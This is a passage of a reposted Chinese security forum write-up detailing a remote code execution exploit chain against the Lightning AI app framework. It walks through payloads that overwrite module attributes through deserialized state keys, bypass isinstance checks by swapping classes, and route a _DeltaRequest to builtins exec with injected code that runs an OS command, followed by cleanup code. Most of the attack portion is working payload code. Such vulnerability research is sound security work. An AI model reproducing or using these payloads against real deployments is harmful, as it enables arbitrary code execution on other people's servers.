from lightning.app.structures import Dict as LightningDict
from lightning.app.structures import List as LightningList
from lightning.app.utilities.types import ComponentTuple
if component_name == "root":
return self.root
if not component_name.startswith("root."):
raise ValueError(f"Invalid component name {component_name}. Name must start with 'root'")
current = self.root
for child_name in component_name.split(".")[1:]:
if isinstance(current, LightningDict):
child = current[child_name]
elif isinstance(current, LightningList):
child = current[int(child_name)]
else:
child = getattr(current, child_name, None)
if not isinstance(child, ComponentTuple):
raise AttributeError(f"Component '{current.name}' has no child component with name '{child_name}'.")
current = child # type: ignore[assignment]
return current
```
在这里我们构造的路径为root.__init__.__builtins__.exec在逐层获取嵌套属性会对获取到的属性进行判断如果为LightningDict则像字典一样使用 current[child_name] 获取如果为LightningList则将 child_name 转为整数并使用索引访问 否则使用 getattr(current, child_name) 动态获取对象的属性。
但是我们如果自定义的属性的类型肯定不会是LightningDict和LightningList所以我们需要将其覆盖为普通的dict和list即可。并且后面的还会判断是否为ComponentTuple类型由于这里的ComponentTuple是在函数中导入的所以我们没法直接取覆盖ComponentTuple的值
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdkl0UCzFykaT1LvoCm88Hjq47PAdPDvKcribp67W5ic5glKQO4eFGPkjw/640?wx_fmt=png&from=appmsg "")
这里会检查对象是否属于ComponentTuple元组中的任意一个类型也就是是否是(LightningFlow, LightningWork, Dict, List)中符合其中之一
还记得前面我们已经OrderedSet修改了__instancecheck__属性使得使用isinstance检查都会返回True所以这里只需将其中一个类覆盖为OrderedSet即可。这里我们将LightningFlow覆盖为OrderedSet。
### 4绕过isinstance(current, LightningDict)检测
在这里还需要注意在红框上面调用了typing.Union如果直接将LightingFlow覆盖为OrderedSet在这里会报错所以我们还需要对Union覆盖为普通的list即可
payload:
```
# 绕过get_component_by_name中的if not isinstance(child, ComponentTuple):
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow": bypass_isinstance(),
# 对Union覆盖为普通的`list`即可
"root['function'].'__globals__'['_sys'].modules['typing'].Union": list,
```
由于我们构造的路径中实际上是通过self.root.__init__.__builtins__['exec']去最终获取exec对象的
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdlCRrOeENdSmdjcVRSCV1mhjuJNGFxJDT3iciapWIjxOia5HHibU2spIvww/640?wx_fmt=png&from=appmsg "")
没有列表类型所以我们只需要覆盖LightningDict类也就是lightning.app.structures.Dict为普通dict即可LightningDict是lightning.app.structures.Dict的别名
payload:
```
# 绕过get_component_by_name中的isinstance(current, LightningDict),使其能够遍历普通字典
"root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict": dict,
```
但是这里将lightning.app.structures.Dict类覆盖为普通dict后继续调试发现会导致之前的程序报错
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRd2cf3zibVagq7iczfL80ebPfPB4f3yzYTonGdEE5azn33D6IP3RufNZZw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdKVFunPKRX17ozNElZnjqD1PEJE9LyRrCgNGK3NhJxyBKDcacbvPpHg/640?wx_fmt=png&from=appmsg "")
在前面的程序中进行setattr的时候调用了__satattr__魔术方法这里同样从lightning.app.structures导入Dict由于前面我们将其覆盖成了正常的dict所以在调用下面的_set_child_name(self, value, name)方法时会报错。
所以这里有两个方案一个是将provided_state["vars"]覆盖为空就不会经过for循环
payload:
```
"root['vars']": {},
```
另一个是查看self._is_state_attribute(name)方法使其返回false我们查看这个方法
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdBjY7OiaNZ9468QcCV0hEtAzhj4vdkmibicqcSbCvYsUbOqhtTLxG9VBlw/640?wx_fmt=png&from=appmsg "")
这个方法对传入的name判断是否在LightningFlow._INTERNAL_STATE_VARS
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdD2xjzVMZq3kKj6YuLjEDeMRJl3hdgbiaFBILx3y8udYBMk2XPyCjSRw/640?wx_fmt=png&from=appmsg "")
所以也可以将_INTERNAL_STATE_VARS覆盖为空也可以
```
# or 将`_INTERNAL_STATE_VARS`覆盖为空也不会进入报错对应的if条件语句里。
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS": (),
```
## 5、函数调用
经过以上操作对属性修改我们将root.__init__.__builtins__.exec赋值给_DeltaRequest的name属性在get_component_by_name中对路径解析并获得exec对象
想要让类的实例像函数一样被调用实际上是通过__call__方法实现的所以通过getattr(flow, request.method_name)获取他的__call__方法然后在下面的method(*request.args, **request.kwargs)进行调用,最终实现任意函数执行
payload
```
injected_code = f"__import__('os').system('calc.exe')" + '''import lightning, sysfrom lightning.app.api.request_types import _DeltaRequest, _APIRequestlightning.app.core.app._DeltaRequest = _DeltaRequestfrom lightning.app.structures.dict import Dictlightning.app.structures.Dict = Dictfrom lightning.app.core.flow import LightningFlowlightning.app.core.LightningFlow = LightningFlowLightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}lightning.app.utilities.commands.base._APIRequest = _APIRequestdel sys.modules['lightning.app.utilities.types']'''
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name": "root.__init__.__builtins__.exec",
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name": "__call__",
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args": (injected_code,),
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs": {},
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id": "root"
```
这里注入代码里除了有我们执行命令的语句,后面还跟了一堆,这是为了将之前绕过过程中修改的类还原,否则再次更换注入命令后不会走动态赋值的那部分代码。并且动态赋值的部分代码在绕过之后,所以我们发送第一个请求后需要再发一次请求才会走我们动态覆盖变量后的逻辑
![](https://mmbiz.qpic.cn/mmbiz_png/3xxicXNlTXL9KDicX20E03RSXotRz5lBRdTQkkRP42LYa0s8HtVmdZ4c7LDhgkwO71uSNJuQcQScqqCjFTvP2tSw/640?wx_fmt=png&from=appmsg "")
总结首先将传入的内容通过反序列化成一个对象然后通过对字典键的解析作为函数调用的路径值作为赋值的内容可以动态修改所有类的属性和方法然后通过绕过一系列的isinstance判断最终在get_component_by_name方法内该方法允许我们查找任意对象最后在method(*request.args, **request.kwargs)进行调用,最终实现任意函数执行
> **文章来源:奇安信攻防社区**
> **链接https://forum.butian.net/share/3836**
> **作者中铁13层打工人**
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
**END**